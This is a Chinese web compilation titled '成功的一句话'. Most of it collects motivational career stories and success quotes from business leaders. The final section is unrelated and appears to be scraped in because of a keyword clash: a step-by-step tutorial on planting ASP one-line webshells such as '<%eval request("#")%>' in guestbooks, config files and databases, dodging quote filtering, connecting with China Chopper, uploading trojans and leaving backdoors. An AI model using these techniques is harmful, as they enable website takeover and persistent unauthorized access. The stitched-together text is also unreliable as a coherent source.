成功的一句话

成功的一句话(篇一)
《一句话的成功》

一句话的成功[ 小故事网 时间:2009-5-1 14:22:20 ]这是一家著名的公司，虽然此次招聘只有一个名额，但却有六百多人应聘，竞争的激烈程度可想而知。 初试、笔试……过五关斩六将后，小路终于进入最后的复试范围。公司老总将亲自出马，一锤定音，在参加复试的五人中确定一 名最终人选。 复试的内容普通得不能再普通：上午在公司参观，下午两点谈观后感。五个人都不敢有丝毫松懈，他们努力捕捉参观途中的点点滴滴，都希望下 午在老总面前的表现能一鸣惊人。 下午两点，他们五个人准时来到招聘的会议室。奇怪的是，老总还没有来。忐忑不安中，他们一边默默梳理自己的发言思路，一边等待老总的出 现。半个小时后，老总来到会议室。气度不凡的老总踱着慢步扫视了一遍应试者，目光深沉而严厉。想着这个人掌管着今天竞争成败的“生死大权”， 五个人都不由觉得一股威慑扑面而来。 大公司的会议正规而简洁，很快进入了主题。几个人针对上午参观的情况，争相发言。有的建议公司的企业文化有待进一步深化，有的呼吁公司 的环境卫生不可忽视，洋洋洒洒，慷慨陈词。老总始终静静地听着，一言不发。 小路最后一个发言，他只说了一句话：“老总，你今天迟到了半小时。”在座的都一惊，认为他这样的表现无异于主动放弃竞争机会。 出乎意料的是，当天晚上，小路就接到了公司的录用通知。原来，迟到半小时到场，是老总的有意安排。其实，小路都没想到，那天自己怎么会 突然抛开早已准备好的发言提纲，很突兀地冒出那么一句话。他只是觉得：作为一个以管理严格著称的公司老总，无故迟到半小时，并且不作任何解 释，是让人无法接受的。 真的，有时，成功就是那么一句话，最简单最直接的一句话，关键是你敢不敢说出来。跑好龙套，修好跑道[ 小故事网 时间:2009-4-27 19:04:09 ]现在单位招新员工，大都要他们从基层做起，等工作能力提高了，心智磨炼得差不多才 会让他们正式上岗。你可别小瞧了在基层打杂这件事。 我有两个高中朋友，一个叫大林，一个叫胖军。读大学我念的是政治专业，他们两个读的是服装学院。他们在学校里学习刻苦，一点儿没糟蹋时间。可服装行业竞争很激烈，他们没有什么背景，再加上学校不是 很有名，所以找工作处处碰壁，最后两人都有些心灰意冷。 最惨的一个月，他们身上的零钱都快用光，租的房子也快到期，没办法，一百多斤的大人了，总不能还 向父母伸手要钱吧？俩人只得硬着头皮出去继续找工作。 胖军找了份送外卖的临时工，虽说这活不怎么

体面，可东跑西颠，一天能拿不少提成。交了房租，还能 有几百块钱的提成，胖军过得好不自在，有时候下班出去吃个烧烤，买个小烟抽抽；大林不像胖军一样图那 俩钱，他找到一家私人开的小裁缝店，在人家手底下打杂。老板是乡下来的普通女人，没受过什么正规服装 培训，可她无师自通，自己琢磨出不少别致的裁衣法。因为女老板做的衣服有自己的特色，小裁缝店的生意 做得有声有色。大林在女老板的手下只做一些零活，剪个布头啦、端茶送水啦。女老板和大林讲好，在这里 打下手管吃住，可没有一分工钱。 按理说大林也是正规服装学院毕业的学生，年青人心高气傲，有谁愿意屈膝于乡下老板，而且还不发工 钱？可大林不这么想，在这里虽说不发工钱，却能学到在服装学校学不到的东西，更重要的是大林在这里打 杂，锻炼了自己的动手能力。时间一长，大林也向老板提一些建议，比如衣服怎么做更时髦一点。大林和老 板共同设计了一款服装，热销得一塌糊涂。 大林在小裁缝店干了半年的零活，又出去找工作。没想到，这次他被一家小有名气的服装公司录用了， 公司经理正是看上了大林在裁缝店学来的新奇做法。在服装公司，大林的实力得到了最大的发挥，没过多久， 他就成了公司的台柱子。 而胖军在这段时间，把学的东西全扔了，送外卖虽说能挣俩稀饭钱，可这不是个好选择。 同是一个学校出来的学生，发展情况却有天壤之别，这主要是因为胖军“打杂失败”。而大林在跑好龙套 的时候，也为自己修好了跑道。 还记得周星驰在《喜剧之王》的表演吗？开始他也是个落魄的龙套演员，演不上戏、受尽了气，但他从 没放弃，而是每天看那本《演员的自我修养》来提高自己，最后终于实现了他的演员梦。被举荐的人[ 小故事网 时间:2009-4-17 12:59:54 ]我一路走去，街面上东一个，西一个，站着一些分发广 告的青年男女。一个腼腆的女孩朝我走来，发给我两张广告。 我问她：“你为什么给我两张同样的广告呢?”女孩羞涩一笑：“我们有任务的， 发完这些，才可以回家。”我笑了，头上是毒辣辣的阳光，我点点头，表示理 解。 继续朝前走，就发现刚才那个女孩并不贪心。一路上，有一下塞给我三张 五张的，还有些盯着行人傻笑，你若冲他一乐，他便热情地走来，呼啦，撂给 你一摞广告，而后笑嘻嘻地离去。至于你如何处理这些广告，自然与他无关。 他站在太阳底下， 丁字路口， 身上背着一只军用水壶， 手上捧着一摞广告。 他往行人手上递广告，一人一张，不会多给。他看上去有点黑，但脸上始终呈

现出真诚的微笑，他对每一个接纳广告的行人说：谢谢。 我伸出手去，问他索要广告，他憨厚一笑，摇摇头：“大哥，您手上已经 有不少了， 我不能再给您。 ”我望着他， 突然有点感慨： “来吧， 我帮你一起发!” 夜幕降临时，我们终于发完了广告。我从兜里掏出一张名片，说：“明天，你 按这个地址来找我吧。” 其实，这些年轻人都是公司新近招收的大学毕业生，为磨练他们，公司安 排他们上街分发广告。我则是经理派出的“密探”，旨在从这些新人中筛选出一 名诚实可靠、能吃苦耐劳的人做业务主办。 翌日，走进我办公室的他，穿着白色的衬衫，深色的裤子，黑色的皮鞋和 袜子，衣服有些旧，但干净朴素。我握着他的手说：“恭喜你，你就是我要举 荐的人，你靠你的吃苦耐劳和诚实的精神，打败了所有的对手。”他谦恭地一 笑，沉默了一会，摇了摇头说：“不，我没想过打败谁，您说的‘苦’，与我所得 到的恩惠相比，真的算不了什么。我是一个山里的孩子，爹娘为供我上学卖掉 了房子； 我是贫困生， 在校期间有好心人捐助我， 帮我完成学业； 大学一毕业， 贵公司就接纳了我。我是一个被恩泽滋养起来的孩子，所以，除了感恩，除了 努力做好大大小小每一件事，我再没有别的选择。”我决定竭力举荐他，我想，没有谁比一个心怀感恩的人更值得信任的了。三个字求职[ 小故事网 时间:2009-4-17 12:59:00 ]大学毕业后，我独自走进人才招聘市场。在一家公司的招聘台前，我被该公司的工 资待遇所吸引。公司招聘的名额只有 4 个，报名应聘的却有 200 多人。 初试中，考官给应聘者每人一张白纸，要求每个人写 3 个字。 这道看似简单的试题，难倒了不少人。三个字?没有要求，没有范围，写什么呢?思索了一段时间，一 些应聘者开始动笔，我偷眼一望，写得五花八门，“多加班”、“再努力”、“好好干”…… 正在恋爱阶段的我，想了很久，突然觉得“我爱你”是最合适不过的三个字。它的含义广泛，比如：爱 公司、爱工作、爱岗位……写完这 3 个字，在一旁的应聘者不由笑起来：“这是找工作，不是找对象!”我没 有作过多的解释，工工整整地填上自己的名字，交给了考官。 3 天后，公司通知我进行第二轮考核。公司领导拿着那张纸条问我：“为什么要写这 3 个字?”当我将自 己的思维全盘说出时，室内一片掌声。经理说：“是啊，找工作跟找对象一样，当你遇到自己喜爱的女孩 时，只有全身心地对她付出你的爱，才能赢得女孩的欢心……” 一周后，我幸运地成为了这家公司的正式职员。 （小一号

的简历[ 小故事网 时间:2009-4-10 13:02:48 ]才到大四，我们就一头扎进了求职大军中。十二月中旬， 市里组织一场大规模的毕业生双选会。我们从一接到消息就积 极投入到了准备工作中去。准备的工作很多，其中最重要的莫过于准备一份精美 的简历。学校为我们准备了一种蓝色的简历封皮，A4 纸大小，封面与封底是由学校 最好的教授设计的，端庄大方，无可挑剔。于是，我们将创意发挥到简历内容里， 一个个都想方设法把内容做得更有特色一点。 参加招聘会那天的路上，我们都拿出自己的简历来展示，猛然看到小涛的简 历非常独特， 他的简历居然比我们的简历整整小了一号， 里面也没有过多的修饰。 我们笑了起来，问他：“小涛，你不会连简历都偷工减料吧?”他笑了笑，顺口回答 说：“我这叫节省资源!” 我们笑得更厉害了，心想，这个家伙真是吝啬到家了，连一份简历都偷工减 料。 招聘会场，人山人海，我们很快就被人潮淹没了。当我走过一个个展台的时 候，我不禁汗颜，因为在每一个招聘人员的身边都堆着小山般的简历。我每投出 一份简历心里就一阵迷茫，因为总是不出几分钟，我就能看到自己精心准备的简 历被新的简历重重地压在下面。我甚至怀疑招聘官是否会在招聘结束之后去重新 翻出我心爱的简历。 我和同学们谈论起自己的担心时，大家的脸上也露出了同样的担忧。 带着这样的失落与好奇，一直到招聘会结束之后，当招聘官们都开始收拾东 西离去的时候，我们却迟迟没有离去，特意到几个我们比较抱有期望的公司展台 上去看我们的蓝色简历处在什么“位置”。这时，我们惊讶地看到一本小一号的简 历，几乎都摆在每个简历堆的最上面。我们一眼就看出来那就是小涛的简历。 我们诧异地问小涛：“你小子暗地里说了什么好话啊!招聘官居然都把你的简 历放在最上面，放在第一位啊!那可是最佳位置啊，就是最好机会啊!” 小涛笑着说：“其实也没有说什么啊，就是事先把简历做小了一号，招聘官 大概都觉得不好堆在下面，只好放在最上面啦……” 我们顿时惊讶得目瞪口呆，原来，他把简历做成小一号，根本就不是偷工减 料，而是为了得到最好的位置，这是多么聪明的做法啊! 他的创意果然得到了收获，他成了同学们中间第一个找到好工作的人。他以小一号的简历赢得了大一号的机会。胜出的秘诀[ 小故事网 时间:2009-3-26 15:23:25 ]大学时代，我是一名十分优秀的学生。所以，毕业后几乎没费多大力气便应聘到 了一家大公司，和我一同进入公司的还有李，我们也成了竞争对手，

因为公司在三个 月试用期后要在我和李之间选择一个人留下。我似乎有点儿信心不足，因为从简历可以看出，李毕业于 北京的一所名牌大学，比我优秀。但我天生就有一种不服输的精神，我鼓励自己，一定要留下来。 刚工作不久， 我们便经历了一次真正的考验。 那是一次大的营销策划， 为了锻炼我和李的工作能力， 经理让我和李都参与其中。为了增强工作能力，策划定稿后我便反复地研读，希望能从中多学些东西。 可我在研读的过程中，却发现这份策划在第二个环节上存在着一些漏洞，如果不解决，公司肯定会遭受 损失。于是，我大胆向主管提出了质疑，但没有引起主管的重视。最后证明，策划在实施过程中，确实 在这个环节上出了问题，但令我想不到的是公司并没有多少损失，原因是李发挥了很大的作用，出问题 时他帮助负责人果断地采取了措施，将损失降到了最低。李得到了经理的首肯，而我却没有得到任何表 扬。我想不通，如果公司当初采纳我的建议，会有损失吗？我的情绪受到严重影响。 王是公司的老同志，他对我一直很关心，看我情绪低落，便找我聊天，给我讲了一个故事:一位工 匠到某人家里做客，看到主人家有很多木材。院子中间有一个很大的灶台，烟囱是直的，工匠便告诉主 人说，烟囱要改成弯曲的，否则将来可能会有火灾，主人听了没当回事儿。可不久，主人家里果然失火， 邻居刘二第一时间跑过来救火，最后帮主人将火扑灭。主人十分感谢刘二，可他却没有想到当初提醒他 防火的工匠。时间又过去了一年，主人在院里开辟了一大片菜园子，因为园子大，浇水比较费力，于是 他请工匠过来给他建一个水塔，平时接雨储水，用时放水浇地。本来建个水塔很容易，可工匠却细心地 考察了一天才选好了位置，不久，便建起了一个大的水塔。一天中午，主人家的木材再一次起火，这次 火很大，主人便急忙敲锣召集人帮助灭火。工匠听到敲锣声，立即向主人家跑去。火正烧着，工匠冲进 院里，没有去拿水桶灭火，而是直接爬上水塔，拔掉了水塔侧面的一个大水阀，水顷刻而下，大火很快 被扑灭。主人对工匠千恩万谢，工匠却笑着说：“你家的防火一直存在问题，当初给你提了建议你也不听， 正好你让我给你建水塔， 所以我考虑了一下， 也为了防火， 把水塔建在了这里， 没想到还真用上了。 ” 主人顿时省悟，烹羊、宰牛犒劳工匠。 王讲完这个故事，笑着对我说:“能提出质疑固然好，但当你的质疑没有被重视的时候，能主动把补 救的措施做到位更可贵……”王给我讲的故事让我茅塞顿开。是呀！当时

成功的一句话(篇二)
《影响成功一句话》

影响成功一句话

世界著名的化妆品公司——雅芳公司女 总裁钟彬娴的母亲是一位非常优秀的女 性。她经常教导钟彬娴说：“男孩子能做的 事，女孩子也绝对都能做。只要努力，女 人无论在哪个领域都能到达顶峰。”钟彬娴 永远记住了母亲的这句话。在雅芳公司， 她一步步地获得成功，并最终成为《财 富》500强企业中的6位女总裁之一。

托妮?莫里森是美国著名黑人女作家， 1993年诺贝尔文学奖获得者。在莫里森的 少年时代，由于家境贫困，从12岁开始， 每天放学以后，她都要到一个富人家里打 几个小时的零工，十分辛苦。一天，她因 工作的事向父亲发了几句牢骚。父亲听后 对她说：“听着，你并不在那儿生活。你生 活在这儿。这儿有你的亲人。只管去干活 就行了，然后拿着钱回家来。”

莫里森后来回忆说，从父亲的这番话 中，她领悟到了人生的四条经验：

一、无 论什么样的工作都要做好，不是为了你的 老板，而是为了你自己；二、把握你自己 的工作，而不让工作把握你；三、你真正 的生活是与你的家人在一起；四、你与你 所做的工作是两回事，你该是谁就是谁。

在那之后，莫里森又为形形色色的人 工作过：有的很聪明，有的很愚蠢，有的 心胸宽广，有的小肚鸡肠。但她从未再抱 怨过。因为她父亲的那句话时时在她耳边 响起。

郑裕彤，在香港超级富贾中排名第 三，个人身价达300亿港元。港人听到他 的名字都会和家喻户晓的“周大福珠宝”相 联系。15岁时被父亲送往澳门的“周大 福”金铺去当学徒，不满3年，他就荣升为 金铺掌管。1946年，21岁的郑裕彤到香港 设立“周大福分行”，到上个世纪70年代， 郑裕彤已经成为香港最大的钻石进口商， 每年的钻石进口量约占全港的30％，因而 享有“珠宝大王”的美称。

当有人问到他成功的要素时，他 说：“我做事情，做的时候一定要只可以成 功，不可以失败；对人要诚恳，对别人一 定讲信用，没有信用是没有办法成功的。”

成功的一句话(篇三)
《成功借鉴：21位成功人士的成功一句话》

一句话改变一生，听起来不可思议。“股神”巴菲特等21名成功人士在《财富》周刊中的自述恰恰证实了“奇迹”存在。

其中一些建议，或许我们也曾听过。也许除了需要“运气”得到建议，更需要理解悟性和恒心来运用这些建议。

正确与否，取决于见解本身

——沃伦·巴菲特（WarrenBuffet），74岁，伯克希尔·哈撒韦公司首席执行官

“就读于内布拉斯加大学时，我曾阅读本·格雷厄姆关于投资的书。那时我已尝试过各种投资，但格雷厄姆的话，尤其是他在《智慧的投资者》中所写的，令我大开眼界，并窥见个中奥妙。为了听他的课，我特地前往哥伦比亚。格雷厄姆曾对我说：„你之所以正确，不是因为别人的认同，而是由于见解本身正确。‟这是我获得的最重要的指导。”

“1951年，我还不满21岁，即将从哥伦比亚大学商学院毕业。我在学校里选了格雷厄姆的课，可以说我是天底下最用心的学生。因为我想加入格雷厄姆-纽曼公司，在格雷厄姆手下工作。我找到他，提出不要钱为他干活，但他拒绝了。”

“后来，我继续向格雷厄姆推销股票，有点纠缠他的意思。终于，1954年的一天，我收到了他寄来的一封信，大致意思是说下次你再来纽约的话，我有事同你谈。我高兴极了，决定立即动身前往纽约，终于在1954年8月成为格雷厄姆手下员工。”

“1956年，我离开格雷厄姆的公司，格雷厄姆没有阻拦，只是说，„只要你认为这样做最好‟。随后，有7个人要我帮他们投资理财，开投资公司是个不错的主意。一切就是从此开始。”

出自己的丑

——理查德·布兰森（RichardBranson），54岁，维珍航空公司创始人

“对我影响最大的人是弗雷迪·莱克，他曾是一名飞行员，二战结束时往柏林空运补给发了财。他创办了一家经营跨大西洋业务的低成本航空公司，就是1966年成立的莱克航空公司，但后来被英国航空公司挤出了航空业。若非看到他经历的一切，我不知道我是不是还会进军航空业。他非常有魅力，跟大人物交往。他会亲自驾驶飞机，做许多令人兴奋的事情。”

“我第一次见到弗雷迪时，正考虑创建航空公司。弗雷迪的建议是：„在广告开支上你永远不可能超过英国航空公司。你必须豁出去，利用你自己。把自己当傻子去出丑，否则就无法生存。‟”

“他的另一条建议是：„英国航空公司在财务方面将使出所有招数对付你，唯一的办法是：起诉他们!‟我怀疑如果我（1992年）没有起诉英国航空公司，维珍航空公司是否能够存活至

今。如果不是我利用自己给公司打广告，公司也不会存活至今。”

“我以他的名字命名一架飞机，就是„弗雷迪‟号。”

遇到困难，坚持下去

——A·G·拉弗利（A。G。Lafley），57岁，美国宝洁公司董事长兼首席执行官

“我妈妈是一位坚强而高傲的爱尔兰妇女，她去年去世，享年82岁。她告诫我，要有坚持你认为是对的东西的勇气。她鼓励我独立，不失自我。到宝洁公司第6个年头，我曾萌生去意，当时想到了她的建议。”

“那是1982年，我决定改投康涅狄格州一家时髦的咨询公司，甚至还在那里买了房子。之所以离开宝洁，是因为那里的官僚气氛让人窒息，而且改变起来很慢。我向当时掌管肥皂生意的史蒂夫·多诺万递交辞呈。”

“他把辞呈撕了。我告诉他：„我还有副本。‟他说：„回家吧，晚上打电话给我。‟他的聪明之处在于不当场和我谈。当晚我打电话给他，他说：„下周不用来上班，每天晚上来见我。‟他一直做我的工作，直到挖出保洁的问题根源，就是官僚作风。他说：„你在逃避。你没有留下来改变现状的勇气。下一个工作同样会跑。‟”

“他的话让我警醒，我留了下来。从那以后，只要有事情不对头，我都会说出来。我认识到，如果你敢于说话，又有改变现状的决心，那就能够做出成绩。”

有些人总爱唱反调，不要把他们的话当回事儿

——萨莉·克劳切克（SallieKrawcheck），40岁，美国花旗银行集团首席财政官

“小时候，我长着雀斑、穿背带裤子，还戴眼镜。在入选球队时即便我不是最后一个，也一定是倒数第二个。在我的记忆中，有许多令人心碎的回忆。一次，我终于踢到了球，兴奋地跑着，可是眼镜掉了，不得不回头去找。我遭到取笑，学习成绩也直线下降，从A降到C。”

“妈妈安慰我，好像对另一个成年人说话。她说，不要在意那些女孩们的取笑，她们都是一些爱唱反调的人，她们只会坐在旁边，对那些付出努力的人指手画脚。妈妈的话对我起了很大作用，我的成绩转好，而且再也不会被那些„爱唱反调‟的人困扰。”

做喜欢的事，一定会赚到钱

——唐尼·多伊奇（DonnyDeutsch），48岁，多伊奇广告公司首席执行官

“1983年时，我在父亲的广告公司当会计。一开始我很不喜欢这工作。我的工作是照顾顾客，但我当时24岁，还在玩闹，没准备好长大。于是，我父亲解雇了我。他说，„你对在这里做的事情没有热情。所以离开这里吧!你不喜欢干这个，我不想让你留在这里，因为我

喜欢我所做的事。‟他又说，„你无论做什么，都要找到你的所爱——即便你是去拣垃圾——然后所有事情都会尘埃落定。如果你喜爱，你就会擅长，就会赚钱，其他事情就水到渠成了。”

承认不足，雇佣贤能

——霍华德·舒尔茨（HowardSchultz），51岁，星巴克董事长

根据直觉行事，不要轻易动摇

——萨姆纳·雷德斯通（SumnerRedstone），81岁，美国维亚康母公司董事长兼首席执行官

做你自己

——杰克·韦尔奇（JackWelch），69岁，美国通用电气公司董事会主席兼首席执行官

别让过去的失败束缚你

——维沃克·保罗（VivekPaul），46岁，维普罗技术公司首席执行官

留有余地

——迪克·帕森斯（DickParsons），56岁，时代华纳公司董事长和首席执行官

别道听途说，要相信真相

——安迪·格罗夫（AndyGrove），68岁，英特尔公司董事长

找出原因，吸取经验

——安妮·马尔卡希（AnneMulcahy），52岁，施乐公司首席执行官

想出点子，勇于写下来

——布赖恩·格拉泽尔（BrianGrazer），53岁，电影、电视制片人，曾获奥斯卡奖

把荣誉留给别人

——布赖恩·罗伯兹（BrianRoberts），45岁，科姆卡斯特公司（Comcast）首席执行官

把慈善事业纳入公司正式系统

——马克·贝尼奥夫（MarcBenioff），40岁，Salesforce。com创始人兼首席执行官

置身正直人之中，学习他们

——赫克托·鲁伊斯（HectorRuiz），59岁，AMD公司首席执行官

学会对一些机会说“不”

——吉姆·柯林斯（JimCollins），46岁，畅销书《从优秀到卓越》作者。

事业与家庭，要保持平衡

——戴维·尼尔曼（DavidNeeleman），44岁，捷篮航空公司首席执行官

“首先勾画前景”

——克劳斯·克莱因费尔德，47岁，德国西门子公司首席执行官

“不要急于升迁”

——安·富奇，53岁，日美合资电扬品牌传播有限公司总裁兼首席执行官

“尊重他本人，而不是他的头衔”

——赫布·凯莱赫，74岁，美国西南航空公司创办人、总裁

成功的一句话(篇四)
《一句话定义成功》

一句话定义成功

Have you ever thought why there are very few great people? I think there is probably only one great person out of 10,000 at best, and most probably much less than that. But why? Most people want to be great, right? Why are there only very few of them? Here is the reason:

你有没有想过为什么成功的人那么少？我想，大概在一万个人里有一个人能获得成功就很好了。但是为什么会这样呢？我们大多数人都渴望成功，不是吗？那为什么成功的人还是屈指可数呢？原因如下： Most people do not pay the price of greatness.

大多数人没有为成功付出代价。

I think this one is quite obvious. Now, the next question is: why not? If there are so many people who want to be great, why only very few of them actually pay the price? The answer to these questions explains the difference between the almost 100% people who want to be great and the much less than 0.01% who actually be so. 这个答案显而易见。那么，就引出了下一个问题：为什么有那么多人想要成功，而只有很少数的人愿意为成功付出代价呢？这个问题的答案就能把0.01%真正获得成功的人和几乎是100%想要获得成功的人给区分开来。

The reason why very few people actually pay the price is this: The road to greatness iscontinuously painful for long time.

极少数人愿意为成功付出代价的真正原因在于：成功之路须要长期痛苦的坚持。

Greatness requires sacrifices and there is no sacrifice without pain. The kind of sacrifices required for greatness is the ones that make the process continuously painful for long time. If you want to be good it will be painful only every now and then, and many people can still handle it. But being great is a totally different level. The pain is much deeper and it is continuous. Very few people can endure this kind of pain and that’s why there are very few great people. Most people naturally choose things that bring pleasures to them. It’s unnatural to choose pain over pleasure, let alone doing it continuously for long time.

成功须要牺牲，而所有的牺牲都伴随着痛苦。获得成功所需要的牺牲是长期的、痛苦的。如果你的目标是优秀，那可能只是“短痛”而已，很多人还是可以承受得住的。但是，想要成功，那么所需要承受得就是“长痛”了。大多数人会选择能给自己带来快乐的事物，这是自然的选择。很少有人会抛开快乐去选择痛苦，更不用说是长期的痛苦了。 But that’s what I believe is the secret to greatness: The secret to greatness is choosing pain over pleasures continuously for

long time.

但是正是上述原因让我相信，成功的秘密就在于：选择痛苦而不是快乐，并能够长期坚持承受痛苦。

成功的一句话(篇五)
《改变世界著名成功人士的一句话》

改变世界著名成功人士的一句话

阅读天地

0407 1205

改变世界著名成功人士的一句话

全球最大的网上书店亚马逊公司的总裁杰夫.贝索斯小时候，经常在暑假随祖父母一起开车外出旅游，10岁那年，贝索斯又随祖父母外出旅游。旅游途中，他看到一条反对吸烟的广告上说：吸烟者每吸一口烟，他的寿命便缩短两分钟。正好贝索斯的祖母也吸烟，而且有着30年的烟龄。于是，贝索斯便自作聪明地开始计算祖母吸烟的次数。结果是：祖母的寿命将因吸烟而缩短16年。当他得意地把这个结果告诉祖母时,祖母伤心地放声大哭起来。

祖父见状，便把贝索斯叫下车，然后拍着他的肩膀说：“孩子，总有一天你会明白，仁爱比聪明更难做到。”祖父的这句话虽短，却令贝索斯终身难忘。从那以后，他一直都按照祖父的教诲做人。

成功的一句话(篇六)
《一句话的成功》

成功的一句话(篇七)
《一句话使用方法》

1进入后台之后找网站信息配置2在企业邮局里面拷贝出来邮箱做好记录，恢复用3在企业邮箱内插入一句话4保存配置，打开中国菜刀5其中XXXX为你的目标站6菜刀右键添加，把网址第五步的丢进去 右边那一栏输入一句话的密码pass（默认）下面的脚本类型为asp 其他不变 最后点添加7用中国菜刀链接点击文件管理 8在inc目录下上传一个小马（注意更改后缀为asp）9 打开10 打开小马输入密码进入小马11 复制文件地址输入上面的栏中后面加大马名字.asp12 把大马以txt文档形式打开，复制粘贴至下面的栏中。13 保存14 访问11步骤中的大马15 输入大马密码，成功得到shell一句话的总结一 留言本插入在留言框内 插入一句话 <%eval request("#")%><%execute request("#")%>┼攠数畣整爠焕敌瑳∨≡┩忾这三个都是asp一句话，在国内小站asp还是比较泛滥的。如果当前web没有进行过滤可以直接以留言的方式提交过去。如果过滤不严可以闭合插入。如最简单的%><%eval request("#")%><% 比如当前页你在当前页提交一句话后是不能直接链接这里需要一个前提条件1）他的数据库是为了防止*.mdb 下载而更名为*.asa or *.asp 格式2）满足了条件1的同时你知道他的数据库位置ex:or guest.asp当满足第一条 和第二条中的两小条后可以成功插入一句话数据库修改过后缀名 asa asp知道具体位置满足以上条件后 在 插入一句话链接 二 配置文件插入一句话一般而言，后台插一句话，如果数据库扩展名是asp的话，那么插数据库，但是如果有配置文件可以插的话，那肯定是插入配置文件了，但是插入配置文件有一个很大的风险，那就是一旦出错那么全盘皆输，有可能不仅仅造成后台无法登陆，甚至有可能是整个网站系统崩溃，所以插入配置文件，请慎之又慎。话归正题，如果想插入配置文件，一般是config.asp，那么首先需要了解这个文件的一般情况。网站的配置一般是保存网站名，地址，email之类的，既然是字符，那么格式应当是webname=“test website”对于这样的配置插入一句话的话，我们的机会就是替换test website，那么需要闭合2个”，同时要插入一句话，语句可以这样“%><%eval request(“d”%><%s=”那么在config.asp中就是webname=“ “%><%eval request(“d”%><%s=” ”第一个”是闭合前面的配置文件中的”，%>就是闭合前一段脚本，之

后插入一句话<%eval request(“d”%>，现在要闭合原来的”和%>所以加入<%s=”，这里特别要注意“s=”，如果没有这个等号的话，那么就会成<%” “,这样必将出错。好了，这是常规的办法，现在我们回到开始那个问题，按照前面的方法插入插入后，我们再点击“网站设置” ，出现错误从这个错误，我们可以得到2个信息。第一，配置文件的路径：第二，网站名的变量为webname。由于我们闭合前面双引号起”的那个双引号收”被过滤成单引号’，所以就成了webname=” ‘，这样的话那么这个双引号没有闭合，由于双引号是vbscript的控制符，没有闭合config.asp运行必然出错。那么我们遇到这种双引号被过滤了的情况改怎么办呢。由于插入一句话必须要用双引号括起来，而输入双引号又被过滤，所以我们可以利用他们自身的双引号来解决。在配置文件中，我们还可以看到这样一些设置就是配置网站的公告数 ，文章数等。可以假设一下，他必然是整数赋值，没有双引号包括num=5num是整数型，不然就成字符了num=”5〃那么我们的一句话就可以这样构建在公告数中我们插入5%><%eval request(webname)%><%必须要有5，不然将会出错，在网站名中我们插入”open”由于我们没有输入双引号，不存在过滤，我们利用 配置文件本身的双引号来达到目的。那么配置文件现在的内容如下<% ……………….. webname=”open” num=5%><%eval request(webname)%><% webnum=7 ……. %> 我们的一句话就相应为eval request(“open”)，open为seo/’>密码。用菜刀成功连接从上可见，我们成功利用配置文件本身避开了一句话中双引号被过滤的问题。那么在网页设计方面，我们可以增加过滤<,%,>或者组合<%,%>这些特殊符号，禁止这些符号的输入，那么将大大增加网页安全。三 网站友情链接或者是管理员添加插入一句话，等等...就跟配置文件类似当成功在配置文件中插入一句话后，可以连接 也就是说你的一句话最终保存在那个asp文件中你就去连那个ASP文件，并不是你在留言本主页插入的一句话你就去连接留言本主页！你需要知道你的一句话的归属地。在成功得到webshell ，需要先留后门在进一步提权。因为你提权时弄出动静后会前功尽弃。留一个一句话是很好的选择。可以把后门直接写入在asp文件中，也可以自己重新上传一个ASP马，在修改原有ASP文件的同时需要备份一下以防插挂后可以补救。有人喜欢插入在dbcon.asp 数据连接文件中或者其他位置。这个跟当时情况而定。